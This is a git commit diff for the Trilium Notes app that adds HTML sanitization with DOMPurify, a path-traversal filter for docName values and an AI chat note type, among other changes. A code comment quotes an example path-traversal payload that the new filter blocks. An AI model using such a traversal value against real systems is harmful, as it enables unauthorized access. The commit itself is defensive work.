feat(security): implement a ton of security guardrails, as well as completely disabling scripting if wanted

.nvmrc

@@ -1 +1 @@
-24.14.0
+24.13.1

.vscode/launch.json

@@ -1,57 +0,0 @@
-{
-  "version": "0.2.0",
-  "configurations": [
-    {
-      "name": "Launch client (Chrome)",
-      "request": "launch",
-      "type": "chrome",
-      "url": "http://localhost:8080",
-      "webRoot": "${workspaceFolder}/apps/client"
-    },
-    {
-      "name": "Launch server",
-      "type": "node",
-      "request": "launch",
-      "program": "${workspaceFolder}/apps/server/src/main.ts",
-      "runtimeExecutable": "${workspaceFolder}/node_modules/.bin/tsx",
-      "env": {
-        "NODE_ENV": "development",
-        "TRILIUM_ENV": "dev",
-        "TRILIUM_DATA_DIR": "${input:trilium_data_dir}",
-        "TRILIUM_RESOURCE_DIR": "${workspaceFolder}/apps/server/src"
-      },
-      "autoAttachChildProcesses": true,
-      "cwd": "${workspaceFolder}",
-      "console": "integratedTerminal",
-      "internalConsoleOptions": "neverOpen",
-      "skipFiles": ["<node_internals>/**", "${workspaceFolder}/node_modules/**"]
-    },
-    {
-      "name": "Launch Vitest with current test file",
-      "type": "node",
-      "request": "launch",
-      "autoAttachChildProcesses": true,
-      "program": "${workspaceFolder}/node_modules/vitest/vitest.mjs",
-      "args": ["run", "${relativeFile}"],
-      "smartStep": true,
-      "console": "integratedTerminal",
-      "skipFiles": ["<node_internals>/**", "**/node_modules/**"],
-      "cwd": "${workspaceFolder}"
-    }
-  ],
-  "compounds": [
-    {
-      "name": "Launch client (Chrome) and server",
-      "configurations": ["Launch server","Launch client (Chrome)"],
-      "stopAll": true
-    }
-  ],
-  "inputs": [
-    {
-      "id": "trilium_data_dir",
-      "type": "promptString",
-      "description": "Select Trilum Notes data directory",
-      "default": "${workspaceFolder}/apps/server/data"
-    }
-  ]
-}

SECURITY.md

@@ -10,5 +10,4 @@ Description above is a general rule and may be altered on case by case basis.
 
 ## Reporting a Vulnerability
 
-* For low severity vulnerabilities, they can be reported as GitHub issues.
-* For severe vulnerabilities, please report it using [GitHub Security Advisories](https://github.com/TriliumNext/Trilium/security/advisories).
+You can report low severity vulnerabilities as GitHub issues, more severe vulnerabilities should be reported to the email [contact@eliandoran.me](mailto:contact@eliandoran.me)

apps/build-docs/package.json

@@ -1,25 +1,19 @@
 {
   "name": "build-docs",
   "version": "1.0.0",
-  "description": "Build documentation from Trilium notes",
+  "description": "",
   "main": "src/main.ts",
-  "bin": {
-    "trilium-build-docs": "dist/cli.js"
-  },
   "scripts": {
-    "start": "tsx .",
-    "cli": "tsx src/cli.ts",
-    "build": "tsx scripts/build.ts"
+    "start": "tsx ."
   },
   "keywords": [],
   "author": "Elian Doran <contact@eliandoran.me>",
   "license": "AGPL-3.0-only",
-  "packageManager": "pnpm@10.30.2",
+  "packageManager": "pnpm@10.30.0",
   "devDependencies": {
     "@redocly/cli": "2.19.1",
     "archiver": "7.0.1",
     "fs-extra": "11.3.3",
-    "js-yaml": "4.1.1",
     "react": "19.2.4",
     "react-dom": "19.2.4",
     "typedoc": "0.28.17",

apps/build-docs/scripts/build.ts

@@ -1,23 +0,0 @@
-import BuildHelper from "../../../scripts/build-utils";
-
-const build = new BuildHelper("apps/build-docs");
-
-async function main() {
-    // Build the CLI and other TypeScript files
-    await build.buildBackend([
-        "src/cli.ts",
-        "src/main.ts",
-        "src/build-docs.ts",
-        "src/swagger.ts",
-        "src/script-api.ts",
-        "src/context.ts"
-    ]);
-
-    // Copy HTML template
-    build.copy("src/index.html", "index.html");
-
-    // Copy node modules dependencies if needed
-    build.copyNodeModules([ "better-sqlite3", "bindings", "file-uri-to-path" ]);
-}
-
-main();

apps/build-docs/src/backend_script_entrypoint.ts

@@ -13,12 +13,8 @@
  * Make sure to keep in line with backend's `script_context.ts`.
  */
 
-export type {
-    default as AbstractBeccaEntity
-} from "../../server/src/becca/entities/abstract_becca_entity.js";
-export type {
-    default as BAttachment
-} from "../../server/src/becca/entities/battachment.js";
+export type { default as AbstractBeccaEntity } from "../../server/src/becca/entities/abstract_becca_entity.js";
+export type { default as BAttachment } from "../../server/src/becca/entities/battachment.js";
 export type { default as BAttribute } from "../../server/src/becca/entities/battribute.js";
 export type { default as BBranch } from "../../server/src/becca/entities/bbranch.js";
 export type { default as BEtapiToken } from "../../server/src/becca/entities/betapi_token.js";
@@ -35,7 +31,6 @@ export type { Api };
 const fakeNote = new BNote();
 
 /**
- * The `api` global variable allows access to the backend script API,
- * which is documented in {@link Api}.
+ * The `api` global variable allows access to the backend script API, which is documented in {@link Api}.
  */
 export const api: Api = new BackendScriptApi(fakeNote, {});

apps/build-docs/src/build-docs.ts

@@ -1,90 +1,19 @@
 process.env.TRILIUM_INTEGRATION_TEST = "memory-no-store";
-// Only set TRILIUM_RESOURCE_DIR if not already set (e.g., by Nix wrapper)
-if (!process.env.TRILIUM_RESOURCE_DIR) {
-    process.env.TRILIUM_RESOURCE_DIR = "../server/src";
-}
+process.env.TRILIUM_RESOURCE_DIR = "../server/src";
 process.env.NODE_ENV = "development";
 
 import cls from "@triliumnext/server/src/services/cls.js";
-import archiver from "archiver";
-import { execSync } from "child_process";
-import { WriteStream } from "fs";
+import { dirname, join, resolve } from "path";
 import * as fs from "fs/promises";
 import * as fsExtra from "fs-extra";
-import yaml from "js-yaml";
-import { dirname, join, resolve } from "path";
-
+import archiver from "archiver";
+import { WriteStream } from "fs";
+import { execSync } from "child_process";
 import BuildContext from "./context.js";
 
-interface NoteMapping {
-    rootNoteId: string;
-    path: string;
-    format: "markdown" | "html" | "share";
-    ignoredFiles?: string[];
-    exportOnly?: boolean;
-}
-
-interface Config {
-    baseUrl: string;
-    noteMappings: NoteMapping[];
-}
-
 const DOCS_ROOT = "../../../docs";
 const OUTPUT_DIR = "../../site";
 
-// Load configuration from edit-docs-config.yaml
-async function loadConfig(configPath?: string): Promise<Config | null> {
-    const pathsToTry = configPath
-        ? [resolve(configPath)]
-        : [
-            join(process.cwd(), "edit-docs-config.yaml"),
-            join(__dirname, "../../../edit-docs-config.yaml")
-        ];
-
-    for (const path of pathsToTry) {
-        try {
-            const configContent = await fs.readFile(path, "utf-8");
-            const config = yaml.load(configContent) as Config;
-
-            // Resolve all paths relative to the config file's directory
-            const CONFIG_DIR = dirname(path);
-            config.noteMappings = config.noteMappings.map((mapping) => ({
-                ...mapping,
-                path: resolve(CONFIG_DIR, mapping.path)
-            }));
-
-            return config;
-        } catch (error) {
-            if (error.code !== "ENOENT") {
-                throw error; // rethrow unexpected errors
-            }
-        }
-    }
-
-    return null; // No config file found
-}
-
-async function exportDocs(
-    noteId: string,
-    format: "markdown" | "html" | "share",
-    outputPath: string,
-    ignoredFiles?: string[]
-) {
-    const zipFilePath = `output-${noteId}.zip`;
-    try {
-        const { exportToZipFile } = (await import("@triliumnext/server/src/services/export/zip.js"))
-            .default;
-        await exportToZipFile(noteId, format, zipFilePath, {});
-
-        const ignoredSet = ignoredFiles ? new Set(ignoredFiles) : undefined;
-        await extractZip(zipFilePath, outputPath, ignoredSet);
-    } finally {
-        if (await fsExtra.exists(zipFilePath)) {
-            await fsExtra.rm(zipFilePath);
-        }
-    }
-}
-
 async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
     const note = await importData(sourcePath);
 
@@ -92,18 +21,15 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
     const zipName = outputSubDir || "user-guide";
     const zipFilePath = `output-${zipName}.zip`;
     try {
-        const { exportToZip } = (await import("@triliumnext/server/src/services/export/zip.js"))
-            .default;
+        const { exportToZip } = (await import("@triliumnext/server/src/services/export/zip.js")).default;
         const branch = note.getParentBranches()[0];
-        const taskContext = new (await import("@triliumnext/server/src/services/task_context.js"))
-            .default(
-                "no-progress-reporting",
-                "export",
-                null
-            );
+        const taskContext = new (await import("@triliumnext/server/src/services/task_context.js")).default(
+            "no-progress-reporting",
+            "export",
+            null
+        );
         const fileOutputStream = fsExtra.createWriteStream(zipFilePath);
         await exportToZip(taskContext, branch, "share", fileOutputStream);
-        const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
         await waitForStreamToFinish(fileOutputStream);
 
         // Output to root directory if outputSubDir is empty, otherwise to subdirectory
@@ -116,7 +42,7 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
     }
 }
 
-async function buildDocsInner(config?: Config) {
+async function buildDocsInner() {
     const i18n = await import("@triliumnext/server/src/services/i18n.js");
     await i18n.initializeTranslations();
 
@@ -127,49 +53,18 @@ async function buildDocsInner(config?: Config) {
     const beccaLoader = await import("../../server/src/becca/becca_loader.js");
     await beccaLoader.beccaLoaded;
 
-    if (config) {
-        // Config-based build (reads from edit-docs-config.yaml)
-        console.log("Building documentation from config file...");
+    // Build User Guide
+    console.log("Building User Guide...");
+    await importAndExportDocs(join(__dirname, DOCS_ROOT, "User Guide"), "user-guide");
 
-        // Import all non-export-only mappings
-        for (const mapping of config.noteMappings) {
-            if (!mapping.exportOnly) {
-                console.log(`Importing from ${mapping.path}...`);
-                await importData(mapping.path);
-            }
-        }
+    // Build Developer Guide
+    console.log("Building Developer Guide...");
+    await importAndExportDocs(join(__dirname, DOCS_ROOT, "Developer Guide"), "developer-guide");
 
-        // Export all mappings
-        for (const mapping of config.noteMappings) {
-            if (mapping.exportOnly) {
-                console.log(`Exporting ${mapping.format} to ${mapping.path}...`);
-                await exportDocs(
-                    mapping.rootNoteId,
-                    mapping.format,
-                    mapping.path,
-                    mapping.ignoredFiles
-                );
-            }
-        }
-    } else {
-        // Legacy hardcoded build (for backward compatibility)
-        console.log("Building User Guide...");
-        await importAndExportDocs(join(__dirname, DOCS_ROOT, "User Guide"), "user-guide");
-
-        console.log("Building Developer Guide...");
-        await importAndExportDocs(
-            join(__dirname, DOCS_ROOT, "Developer Guide"),
-            "developer-guide"
-        );
-
-        // Copy favicon.
-        await fs.copyFile("../../apps/website/src/assets/favicon.ico",
-            join(OUTPUT_DIR, "favicon.ico"));
-        await fs.copyFile("../../apps/website/src/assets/favicon.ico",
-            join(OUTPUT_DIR, "user-guide", "favicon.ico"));
-        await fs.copyFile("../../apps/website/src/assets/favicon.ico",
-            join(OUTPUT_DIR, "developer-guide", "favicon.ico"));
-    }
+    // Copy favicon.
+    await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "favicon.ico"));
+    await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "user-guide", "favicon.ico"));
+    await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "developer-guide", "favicon.ico"));
 
     console.log("Documentation built successfully!");
 }
@@ -196,13 +91,12 @@ async function createImportZip(path: string) {
         zlib: { level: 0 }
     });
 
-    console.log("Archive path is ", resolve(path));
+    console.log("Archive path is ", resolve(path))
     archive.directory(path, "/");
 
     const outputStream = fsExtra.createWriteStream(inputFile);
     archive.pipe(outputStream);
     archive.finalize();
-    const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
     await waitForStreamToFinish(outputStream);
 
     try {
@@ -212,15 +106,15 @@ async function createImportZip(path: string) {
     }
 }
 
+function waitForStreamToFinish(stream: WriteStream) {
+    return new Promise<void>((res, rej) => {
+        stream.on("finish", () => res());
+        stream.on("error", (err) => rej(err));
+    });
+}
 
-export async function extractZip(
-    zipFilePath: string,
-    outputPath: string,
-    ignoredFiles?: Set<string>
-) {
-    const { readZipFile, readContent } = (await import(
-        "@triliumnext/server/src/services/import/zip.js"
-    ));
+export async function extractZip(zipFilePath: string, outputPath: string, ignoredFiles?: Set<string>) {
+    const { readZipFile, readContent } = (await import("@triliumnext/server/src/services/import/zip.js"));
     await readZipFile(await fs.readFile(zipFilePath), async (zip, entry) => {
         // We ignore directories since they can appear out of order anyway.
         if (!entry.fileName.endsWith("/") && !ignoredFiles?.has(entry.fileName)) {
@@ -235,27 +129,6 @@ export async function extractZip(
     });
 }
 
-export async function buildDocsFromConfig(configPath?: string, gitRootDir?: string) {
-    const config = await loadConfig(configPath);
-
-    if (gitRootDir) {
-        // Build the share theme if we have a gitRootDir (for Trilium project)
-        execSync(`pnpm run --filter share-theme build`, {
-            stdio: "inherit",
-            cwd: gitRootDir
-        });
-    }
-
-    // Trigger the actual build.
-    await new Promise((res, rej) => {
-        cls.init(() => {
-            buildDocsInner(config ?? undefined)
-                .catch(rej)
-                .then(res);
-        });
-    });
-}
-
 export default async function buildDocs({ gitRootDir }: BuildContext) {
     // Build the share theme.
     execSync(`pnpm run --filter share-theme build`, {

apps/build-docs/src/cli.ts

@@ -1,89 +0,0 @@
-#!/usr/bin/env node
-
-import packageJson from "../package.json" with { type: "json" };
-import { buildDocsFromConfig } from "./build-docs.js";
-
-// Parse command-line arguments
-function parseArgs() {
-    const args = process.argv.slice(2);
-    let configPath: string | undefined;
-    let showHelp = false;
-    let showVersion = false;
-
-    for (let i = 0; i < args.length; i++) {
-        if (args[i] === "--config" || args[i] === "-c") {
-            configPath = args[i + 1];
-            if (!configPath) {
-                console.error("Error: --config/-c requires a path argument");
-                process.exit(1);
-            }
-            i++; // Skip the next argument as it's the value
-        } else if (args[i] === "--help" || args[i] === "-h") {
-            showHelp = true;
-        } else if (args[i] === "--version" || args[i] === "-v") {
-            showVersion = true;
-        }
-    }
-
-    return { configPath, showHelp, showVersion };
-}
-
-function getVersion(): string {
-    return packageJson.version;
-}
-
-function printHelp() {
-    const version = getVersion();
-    console.log(`
-Usage: trilium-build-docs [options]
-
-Options:
-  -c, --config <path>  Path to the configuration file
-                       (default: edit-docs-config.yaml in current directory)
-  -h, --help           Display this help message
-  -v, --version        Display version information
-
-Description:
-  Builds documentation from Trilium note structure and exports to various formats.
-  Configuration file should be in YAML format with the following structure:
-
-  baseUrl: "https://example.com"
-  noteMappings:
-    - rootNoteId: "noteId123"
-      path: "docs"
-      format: "markdown"
-    - rootNoteId: "noteId456"
-      path: "public/docs"
-      format: "share"
-      exportOnly: true
-
-Version: ${version}
-`);
-}
-
-function printVersion() {
-    const version = getVersion();
-    console.log(version);
-}
-
-async function main() {
-    const { configPath, showHelp, showVersion } = parseArgs();
-
-    if (showHelp) {
-        printHelp();
-        process.exit(0);
-    } else if (showVersion) {
-        printVersion();
-        process.exit(0);
-    }
-
-    try {
-        await buildDocsFromConfig(configPath);
-        process.exit(0);
-    } catch (error) {
-        console.error("Error building documentation:", error);
-        process.exit(1);
-    }
-}
-
-main();

apps/build-docs/src/frontend_script_entrypoint.ts

@@ -13,19 +13,16 @@
  * Make sure to keep in line with frontend's `script_context.ts`.
  */
 
+export type { default as BasicWidget } from "../../client/src/widgets/basic_widget.js";
 export type { default as FAttachment } from "../../client/src/entities/fattachment.js";
 export type { default as FAttribute } from "../../client/src/entities/fattribute.js";
 export type { default as FBranch } from "../../client/src/entities/fbranch.js";
 export type { default as FNote } from "../../client/src/entities/fnote.js";
 export type { Api } from "../../client/src/services/frontend_script_api.js";
-export type { default as BasicWidget } from "../../client/src/widgets/basic_widget.js";
-export type {
-    default as NoteContextAwareWidget
-} from "../../client/src/widgets/note_context_aware_widget.js";
+export type { default as NoteContextAwareWidget } from "../../client/src/widgets/note_context_aware_widget.js";
 export type { default as RightPanelWidget } from "../../client/src/widgets/right_panel_widget.js";
 
 import FrontendScriptApi, { type Api } from "../../client/src/services/frontend_script_api.js";
 
-
-// @ts-expect-error - FrontendScriptApi is not directly exportable as Api without this simulation.
+//@ts-expect-error
 export const api: Api = new FrontendScriptApi();

apps/build-docs/src/main.ts

@@ -1,10 +1,9 @@
-import { cpSync, existsSync, mkdirSync, rmSync } from "fs";
 import { join } from "path";
-
-import buildDocs from "./build-docs";
 import BuildContext from "./context";
-import buildScriptApi from "./script-api";
 import buildSwagger from "./swagger";
+import { cpSync, existsSync, mkdirSync, rmSync } from "fs";
+import buildDocs from "./build-docs";
+import buildScriptApi from "./script-api";
 
 const context: BuildContext = {
     gitRootDir: join(__dirname, "../../../"),

apps/build-docs/src/script-api.ts

@@ -1,7 +1,6 @@
 import { execSync } from "child_process";
-import { join } from "path";
-
 import BuildContext from "./context";
+import { join } from "path";
 
 export default function buildScriptApi({ baseDir, gitRootDir }: BuildContext) {
     // Generate types

apps/build-docs/src/swagger.ts

@@ -1,8 +1,7 @@
+import BuildContext from "./context";
+import { join } from "path";
 import { execSync } from "child_process";
 import { mkdirSync } from "fs";
-import { join } from "path";
-
-import BuildContext from "./context";
 
 interface BuildInfo {
     specPath: string;
@@ -28,9 +27,6 @@ export default function buildSwagger({ baseDir, gitRootDir }: BuildContext) {
         const absSpecPath = join(gitRootDir, specPath);
         const targetDir = join(baseDir, outDir);
         mkdirSync(targetDir, { recursive: true });
-        execSync(
-            `pnpm redocly build-docs ${absSpecPath} -o ${targetDir}/index.html`,
-            { stdio: "inherit" }
-        );
+        execSync(`pnpm redocly build-docs ${absSpecPath} -o ${targetDir}/index.html`, { stdio: "inherit" });
     }
 }

apps/build-docs/tsconfig.json

@@ -1,8 +1,6 @@
 {
   "extends": "../../tsconfig.base.json",
-  "include": [
-    "scripts/**/*.ts"
-  ],
+  "include": [],
   "references": [
     {
       "path": "../server"

apps/build-docs/typedoc.backend.json

@@ -4,7 +4,6 @@
   "entryPoints": [
     "src/backend_script_entrypoint.ts"
   ],
-  "tsconfig": "tsconfig.app.json",
   "plugin": [
     "typedoc-plugin-missing-exports"
   ]

apps/build-docs/typedoc.frontend.json

@@ -4,7 +4,6 @@
   "entryPoints": [
     "src/frontend_script_entrypoint.ts"
   ],
-  "tsconfig": "tsconfig.app.json",
   "plugin": [
     "typedoc-plugin-missing-exports"
   ]

apps/client/package.json

@@ -41,25 +41,26 @@
     "clsx": "2.1.1",
     "color": "5.0.3",
     "debounce": "3.0.0",
+    "dompurify": "3.2.5",
     "draggabilly": "3.0.0",
     "force-graph": "1.51.1",
     "globals": "17.3.0",
-    "i18next": "25.8.13",
+    "i18next": "25.8.11",
     "i18next-http-backend": "3.0.2",
     "jquery": "4.0.0",
     "jquery.fancytree": "2.38.5",
     "jsplumb": "2.15.6",
-    "katex": "0.16.33",
+    "katex": "0.16.28",
     "knockout": "3.5.1",
     "leaflet": "1.9.4",
     "leaflet-gpx": "2.2.0",
     "mark.js": "8.11.1",
     "marked": "17.0.3",
     "mermaid": "11.12.3",
-    "mind-elixir": "5.9.0",
+    "mind-elixir": "5.8.3",
     "normalize.css": "8.0.1",
     "panzoom": "9.4.3",
-    "preact": "10.28.4",
+    "preact": "10.28.3",
     "react-i18next": "16.5.4",
     "react-window": "2.2.7",
     "reveal.js": "5.2.1",
@@ -71,14 +72,14 @@
     "@ckeditor/ckeditor5-inspector": "5.0.0",
     "@prefresh/vite": "2.4.12",
     "@types/bootstrap": "5.2.10",
-    "@types/jquery": "4.0.0",
+    "@types/jquery": "3.5.33",
     "@types/leaflet": "1.9.21",
     "@types/leaflet-gpx": "1.3.8",
     "@types/mark.js": "8.11.12",
     "@types/reveal.js": "5.2.2",
     "@types/tabulator-tables": "6.3.1",
     "copy-webpack-plugin": "13.0.1",
-    "happy-dom": "20.7.0",
+    "happy-dom": "20.6.3",
     "lightningcss": "1.31.1",
     "script-loader": "0.7.2",
     "vite-plugin-static-copy": "3.2.0"

apps/client/src/components/app_context.ts

@@ -101,6 +101,8 @@ export type CommandMappings = {
     showRevisions: CommandData & {
         noteId?: string | null;
     };
+    showLlmChat: CommandData;
+    createAiChat: CommandData;
     showOptions: CommandData & {
         section: string;
     };

apps/client/src/components/root_command_executor.ts

@@ -1,8 +1,10 @@
 import dateNoteService from "../services/date_notes.js";
 import froca from "../services/froca.js";
+import noteCreateService from "../services/note_create.js";
 import openService from "../services/open.js";
 import options from "../services/options.js";
 import protectedSessionService from "../services/protected_session.js";
+import toastService from "../services/toast.js";
 import treeService from "../services/tree.js";
 import utils, { openInReusableSplit } from "../services/utils.js";
 import appContext, { type CommandListenerData } from "./app_context.js";
@@ -246,4 +248,34 @@ export default class RootCommandExecutor extends Component {
         }
     }
 
+    async createAiChatCommand() {
+        try {
+            // Create a new AI Chat note at the root level
+            const rootNoteId = "root";
+
+            const result = await noteCreateService.createNote(rootNoteId, {
+                title: "New AI Chat",
+                type: "aiChat",
+                content: JSON.stringify({
+                    messages: [],
+                    title: "New AI Chat"
+                })
+            });
+
+            if (!result.note) {
+                toastService.showError("Failed to create AI Chat note");
+                return;
+            }
+
+            await appContext.tabManager.openTabWithNoteWithHoisting(result.note.noteId, {
+                activate: true
+            });
+
+            toastService.showMessage("Created new AI Chat note");
+        }
+        catch (e) {
+            console.error("Error creating AI Chat note:", e);
+            toastService.showError(`Failed to create AI Chat note: ${(e as Error).message}`);
+        }
+    }
 }

apps/client/src/entities/fnote.ts

@@ -18,7 +18,7 @@ const RELATION = "relation";
  * end user. Those types should be used only for checking against, they are
  * not for direct use.
  */
-export type NoteType = "file" | "image" | "search" | "noteMap" | "launcher" | "doc" | "contentWidget" | "text" | "relationMap" | "render" | "canvas" | "mermaid" | "book" | "webView" | "code" | "mindMap";
+export type NoteType = "file" | "image" | "search" | "noteMap" | "launcher" | "doc" | "contentWidget" | "text" | "relationMap" | "render" | "canvas" | "mermaid" | "book" | "webView" | "code" | "mindMap" | "aiChat";
 
 export interface NotePathRecord {
     isArchived: boolean;

apps/client/src/services/content_renderer.ts

@@ -192,7 +192,7 @@ function renderFile(entity: FNote | FAttachment, type: string, $renderedContent:
         throw new Error(`Can't recognize entity type of '${entity}'`);
     }
 
-    const $content = $('<div style="display: flex; flex-direction: column; height: 100%; justify-content: end;">');
+    const $content = $('<div style="display: flex; flex-direction: column; height: 100%;">');
 
     if (type === "pdf") {
         const $pdfPreview = $('<iframe class="pdf-preview" style="width: 100%; flex-grow: 100;"></iframe>');

apps/client/src/services/content_renderer_text.ts

@@ -5,6 +5,7 @@ import froca from "./froca.js";
 import link from "./link.js";
 import { renderMathInElement } from "./math.js";
 import { getMermaidConfig } from "./mermaid.js";
+import { sanitizeNoteContentHtml } from "./sanitize_content.js";
 import { formatCodeBlocks } from "./syntax_highlight.js";
 import tree from "./tree.js";
 import { isHtmlEmpty } from "./utils.js";
@@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
     const blob = await note.getBlob();
 
     if (blob && !isHtmlEmpty(blob.content)) {
-        $renderedContent.append($('<div class="ck-content">').html(blob.content));
+        $renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
 
         const seenNoteIds = options.seenNoteIds ?? new Set<string>();
         seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);
@@ -120,6 +121,7 @@ async function renderChildrenList($renderedContent: JQuery<HTMLElement>, note: F
         return;
     }
 
+    $renderedContent.css("padding", "10px");
     $renderedContent.addClass("text-with-ellipsis");
 
     // just load the first 10 child notes

apps/client/src/services/date_notes.ts

@@ -1,5 +1,4 @@
 import { dayjs } from "@triliumnext/commons";
-
 import type { FNoteRow } from "../entities/fnote.js";
 import froca from "./froca.js";
 import server from "./server.js";
@@ -15,13 +14,8 @@ async function getTodayNote() {
     return await getDayNote(dayjs().format("YYYY-MM-DD"));
 }
 
-async function getDayNote(date: string, calendarRootId?: string) {
-    let url = `special-notes/days/${date}`;
-    if (calendarRootId) {
-        url += `?calendarRootId=${calendarRootId}`;
-    }
-
-    const note = await server.get<FNoteRow>(url, "date-note");
+async function getDayNote(date: string) {
+    const note = await server.get<FNoteRow>(`special-notes/days/${date}`, "date-note");
 
     await ws.waitForMaxKnownEntityChangeId();
 

apps/client/src/services/doc_renderer.ts

@@ -9,6 +9,15 @@ export default function renderDoc(note: FNote) {
         const $content = $("<div>");
 
         if (docName) {
+            // Sanitize docName to prevent path traversal attacks (e.g.,
+            // "../../../../api/notes/_malicious/open?x=" escaping doc_notes).
+            docName = sanitizeDocName(docName);
+            if (!docName) {
+                console.warn("Blocked potentially malicious docName attribute value.");
+                resolve($content);
+                return;
+            }
+
             // find doc based on language
             const url = getUrl(docName, getCurrentLanguage());
             $content.load(url, async (response, status) => {
@@ -48,6 +57,31 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
     await applyReferenceLinks($content[0]);
 }
 
+function sanitizeDocName(docNameValue: string): string | null {
+    // Strip any path traversal sequences and dangerous URL characters.
+    // Legitimate docName values are simple paths like "User Guide/Topic" or
+    // "launchbar_intro" — they only contain alphanumeric chars, underscores,
+    // hyphens, spaces, and forward slashes for subdirectories.
+    // Reject values containing path traversal (../, ..\) or URL control
+    // characters (?, #, :, @) that could be used to escape the doc_notes
+    // directory or manipulate the resulting URL.
+    if (/\.\.|[?#:@\\]/.test(docNameValue)) {
+        return null;
+    }
+
+    // Remove any leading slashes to prevent absolute path construction.
+    docNameValue = docNameValue.replace(/^\/+/, "");
+
+    // After stripping, ensure only safe characters remain:
+    // alphanumeric, spaces, underscores, hyphens, forward slashes, and periods
+    // (periods are allowed for filenames but .. was already rejected above).
+    if (!/^[a-zA-Z0-9 _\-/.']+$/.test(docNameValue)) {
+        return null;
+    }
+
+    return docNameValue;
+}
+
 function getUrl(docNameValue: string, language: string) {
     // Cannot have spaces in the URL due to how JQuery.load works.
     docNameValue = docNameValue.replaceAll(" ", "%20");

apps/client/src/services/i18n.ts

@@ -24,8 +24,7 @@ export async function initLocale() {
         backend: {
             loadPath: `${window.glob.assetPath}/translations/{{lng}}/{{ns}}.json`
         },
-        returnEmptyString: false,
-        showSupportNotice: false
+        returnEmptyString: false
     });
 
     await setDayjsLocale(locale);

apps/client/src/services/in_app_help.ts

@@ -17,7 +17,8 @@ export const byNoteType: Record<Exclude<NoteType, "book">, string | null> = {
     render: null,
     search: null,
     text: null,
-    webView: null
+    webView: null,
+    aiChat: null
 };
 
 export const byBookType: Record<ViewTypeOptions, string | null> = {

apps/client/src/services/note_tooltip.ts

@@ -1,20 +1,21 @@
-import appContext from "../components/app_context.js";
-import type FNote from "../entities/fnote.js";
+import treeService from "./tree.js";
+import linkService from "./link.js";
+import froca from "./froca.js";
+import utils from "./utils.js";
 import attributeRenderer from "./attribute_renderer.js";
 import contentRenderer from "./content_renderer.js";
-import froca from "./froca.js";
+import appContext from "../components/app_context.js";
+import type FNote from "../entities/fnote.js";
 import { t } from "./i18n.js";
-import linkService from "./link.js";
-import treeService from "./tree.js";
-import utils from "./utils.js";
+import { sanitizeNoteContentHtml } from "./sanitize_content.js";
 
 // Track all elements that open tooltips
 let openTooltipElements: JQuery<HTMLElement>[] = [];
 let dismissTimer: ReturnType<typeof setTimeout>;
 
 function setupGlobalTooltip() {
-    $(document).on("pointerenter", "a:not(.no-tooltip-preview)", mouseEnterHandler);
-    $(document).on("pointerenter", "[data-href]:not(.no-tooltip-preview)", mouseEnterHandler);
+    $(document).on("mouseenter", "a:not(.no-tooltip-preview)", mouseEnterHandler);
+    $(document).on("mouseenter", "[data-href]:not(.no-tooltip-preview)", mouseEnterHandler);
 
     // close any note tooltip after click, this fixes the problem that sometimes tooltips remained on the screen
     $(document).on("click", (e) => {
@@ -37,12 +38,10 @@ function dismissAllTooltips() {
 }
 
 function setupElementTooltip($el: JQuery<HTMLElement>) {
-    $el.on("pointerenter", mouseEnterHandler);
+    $el.on("mouseenter", mouseEnterHandler);
 }
 
-async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<T, undefined, T, T>) {
-    if (e.pointerType !== "mouse") return;
-
+async function mouseEnterHandler(this: HTMLElement) {
     const $link = $(this);
 
     if ($link.hasClass("no-tooltip-preview") || $link.hasClass("disabled")) {
@@ -92,8 +91,9 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
         return;
     }
 
-    const html = `<div class="note-tooltip-content">${content}</div>`;
-    const tooltipClass = `tooltip-${  Math.floor(Math.random() * 999_999_999)}`;
+    const sanitizedContent = sanitizeNoteContentHtml(content);
+    const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
+    const tooltipClass = "tooltip-" + Math.floor(Math.random() * 999_999_999);
 
     // we need to check if we're still hovering over the element
     // since the operation to get tooltip content was async, it is possible that
@@ -110,6 +110,8 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
             title: html,
             html: true,
             template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
+            // Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
+            // (which is too aggressive for our rich-text content) can be disabled.
             sanitize: false,
             customClass: linkId
         });
@@ -226,7 +228,7 @@ function renderFootnoteOrAnchor($link: JQuery<HTMLElement>, url: string) {
     }
 
     let footnoteContent = $targetContent.html();
-    footnoteContent = `<div class="ck-content">${footnoteContent}</div>`;
+    footnoteContent = `<div class="ck-content">${footnoteContent}</div>`
     return footnoteContent || "";
 }
 

apps/client/src/services/note_types.ts

@@ -53,6 +53,7 @@ export const NOTE_TYPES: NoteTypeMapping[] = [
     { type: "file", title: t("note_types.file"), reserved: true },
     { type: "image", title: t("note_types.image"), reserved: true },
     { type: "launcher", mime: "", title: t("note_types.launcher"), reserved: true },
+    { type: "aiChat", mime: "application/json", title: t("note_types.ai-chat"), reserved: true }
 ];
 
 /** The maximum age in days for a template to be marked with the "New" badge */

apps/client/src/services/sanitize_content.spec.ts

@@ -0,0 +1,236 @@
+import { describe, expect, it } from "vitest";
+import { sanitizeNoteContentHtml } from "./sanitize_content";
+
+describe("sanitizeNoteContentHtml", () => {
+    // --- Preserves legitimate CKEditor content ---
+
+    it("preserves basic rich text formatting", () => {
+        const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves headings", () => {
+        const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
